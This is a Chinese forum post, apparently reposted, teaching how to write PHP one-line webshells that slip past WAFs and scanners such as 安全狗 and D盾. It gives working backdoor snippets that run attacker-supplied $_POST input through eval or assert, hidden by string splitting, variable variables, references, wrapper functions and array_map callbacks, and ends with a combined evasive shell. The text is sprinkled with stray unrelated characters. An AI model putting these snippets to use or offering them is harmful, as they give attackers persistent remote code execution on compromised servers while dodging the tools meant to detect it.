來源:http://bbs.ichunqiu.com/thread-10016-1-1.html?from=ch
請(qǐng)勿侵權(quán),謝謝迁酸!自己真正學(xué)到的才是自己的財(cái)富先鱼!只是一味的盜版,不懂得學(xué)習(xí)的那叫小學(xué)生奸鬓!
謝謝~有句話叫:人外有人焙畔,天外有天。
#??有很多人曾經(jīng)在為繞過WAF的一句話煩惱串远,今天我就給大家講講繞過WAF的思路宏多。有不懂得小伙伴,可以加我QQ澡罚,
個(gè)人認(rèn)為免殺大致分為這幾個(gè)方面:
1.關(guān)鍵字拆分伸但。
比如assert,可以寫成 'a'.'ss'.'e'.'r'.'t'這樣留搔。
總結(jié):這種方法雖然簡(jiǎn)單更胖,但是卻沒有太強(qiáng)的免殺功效,需要結(jié)合其他方法。
2.可變變量函喉、引用避归、可變函數(shù)。
可變變量??比如$a=$_POST['x'];$b='a';@eval($$b);
測(cè)試結(jié)果:
總結(jié):這種方法對(duì)安全狗等WAF可以繞過哦~但是對(duì)于D盾這種多規(guī)則的是無效的管呵!
引用??比如$a=$_POST['x'];$b=&$a;@eval($b);
測(cè)試結(jié)果:
總結(jié):這種方法與上一種方法類似梳毙。
可變函數(shù)??比如$a='a'.'ss'.'e'.'r'.'t';$a($_POST['x']);
測(cè)試結(jié)果:
總結(jié):這種方法對(duì)于安全狗、360主機(jī)衛(wèi)士捐下、D盾之類的均沒有作用哦~
3.添加其他代碼账锹。
添加其他代碼??比如??if(empty($a))
{
$a=$_POST['x'];
}
@eval($a);
測(cè)試結(jié)果:
總結(jié):這種方法比較適合腦洞比較大的小伙伴們~
4.函數(shù)替換坷襟。
使用其他函數(shù),比如eval可以使用assert替換婴程。
總結(jié):這種方法適合eval函數(shù)被禁用時(shí)使用哦~
5.封裝到新的函數(shù)中。
新定義一個(gè)函數(shù)档叔,使其封裝到新函數(shù)中桌粉。
function test($a){? ?//定義一個(gè)名為test的函數(shù),并使用$a接受參數(shù)
eval($a);
}
test($_POST['x']);
測(cè)試結(jié)果:
總結(jié):這種方法適合有PHP基礎(chǔ)的人哦衙四,姿勢(shì)風(fēng)騷~不怕不過!
6.函數(shù)回調(diào)押逼。
使用其他函數(shù)進(jìn)行調(diào)用,并執(zhí)行惦界。
如:array_map('a'.'s'.'se'.'r'.'t',array($_POST['x']));
測(cè)試結(jié)果:
總結(jié):這種方法適合有PHP基礎(chǔ)的人哦~這種方法絕對(duì)過WAF哦~
7.利用各種方法的特性寫出過WAF的一句話挑格。
function test($a){//利用所學(xué)的封裝函數(shù)
if (empty($a)){//利用所學(xué)的添加其他代碼
$a="echo 'QQ:844812159';";//使用這句代碼擾亂D盾的判斷
}
@eval($a);
}
@test($_POST['x']);
?>
測(cè)試結(jié)果: